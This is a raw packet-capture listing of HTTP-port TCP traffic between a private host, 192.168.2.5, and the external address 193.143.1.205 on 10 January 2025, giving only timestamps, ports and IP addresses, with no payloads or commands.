Jan 10, 2025 17:40:37.932760000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.932771921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.932791948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.932792902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.932832003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.933619976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.933633089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.933645964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.933667898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.933701992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.933715105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.933731079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.933741093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.933743000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.933764935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.934467077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.934479952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.934492111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.934510946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.934531927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.934861898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.934880972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.934932947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.934974909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.934988976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.935003042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.935015917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.935034037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.935049057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.936805010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.936834097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.936846018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.936872959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.936975956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.936996937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.937007904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.937015057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.937045097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.937297106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.937309027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.937321901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.937344074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.938236952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.942830086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.978023052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.978035927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.978053093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.978061914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.978068113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.978075027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:37.978135109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:37.978185892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.021476030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.021491051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.021503925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.021517038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.021595955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.021609068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.021614075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.021622896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.021637917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.021661043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.021691084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.021703959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.021717072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.021739960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.021766901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.021826982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.021838903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.021852016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.021863937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.021877050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.021893978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.021893024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.021923065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.021945953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.049190044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049256086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049272060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049278975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049287081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049298048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049362898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049377918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049393892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.049411058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049438000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.049470901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049504995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049510002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.049541950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049591064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.049607992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049622059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049638033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049663067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.049685955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049725056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.049813032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049825907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049834013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049863100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.049868107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049880981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049894094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049900055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.049937010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049942017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.049951077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049966097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049992085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.049997091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.050004959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050024986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.050147057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050167084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050179958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050188065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.050193071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050206900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050219059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.050249100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.050416946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050427914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050438881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050451994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050458908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.050467968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050479889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050489902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.050493002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050507069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050509930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.050523043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050534964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050542116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.050586939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.050688982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050700903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050718069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050746918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.050769091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050781012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050787926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050802946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050821066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050823927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.050833941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.050839901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.050857067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.051028013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.051039934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.051053047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.051059961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.051069975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.051081896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.051084042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.051114082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.054266930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054279089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054290056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054302931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054313898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054337025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.054353952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.054363012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054377079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054389954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054395914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.054423094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.054426908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054440975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054454088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054485083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.054533958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054548979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054563046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054569960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.054579973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054593086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054600954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.054626942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.054800987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054824114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054835081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054853916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054857969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.054867983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054884911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.054922104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054934978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054945946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.054958105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.054986954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.055005074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.055018902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.055032015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.055069923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.055109024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.055135012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.055202007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.055213928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.055274010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.055282116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.055289984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.055304050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.055330038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.055331945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.055346966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.055363894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.058435917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.064217091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.064239979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.064249992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.064261913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.064306021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.064318895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.064332008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.064349890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.064368010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.064380884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.064421892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.077239990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.107665062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.107687950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.107707977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.107721090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.107767105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.107783079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.107795954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.107810020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.107810974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.107830048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.107839108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.107861996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.107949018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.107960939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.107970953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.107984066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.107990980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.108000040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.108021021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.108033895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.108164072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.108175993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.108187914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.108198881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.108211994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.108222961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.108239889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.108241081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.108239889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.108254910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.108257055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.108297110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.135698080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.135709047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.135730028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.135740995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.135752916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.135765076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.135778904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.135796070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.135822058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.135838032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.135864019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.135900021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.135912895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.135925055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.135937929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.135951042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.135960102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.135965109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.135983944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.135999918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.136013031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136023998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136035919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136059046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.136136055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136153936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136164904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136178017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136183023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.136200905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136204958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.136214972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136245966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.136261940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136275053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136286974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136293888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.136322975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.136360884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136374950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136385918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136400938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136406898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.136434078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.136511087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136523008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136534929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136548042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136569023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.136594057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.136657000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136668921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136681080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136693001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136704922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136704922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.136723995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.136789083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136801958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136828899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.136910915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136928082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136943102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136943102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.136955976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136969090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136979103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.136982918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.136996031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.137006044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.137008905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.137027979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.137070894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.137083054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.137094021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.137104988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.137109995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.137118101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.137118101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.137132883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.137147903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.137161016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.137168884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.137198925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.138031960 CET	80	49704	193.143.1.205	192.168.2.5
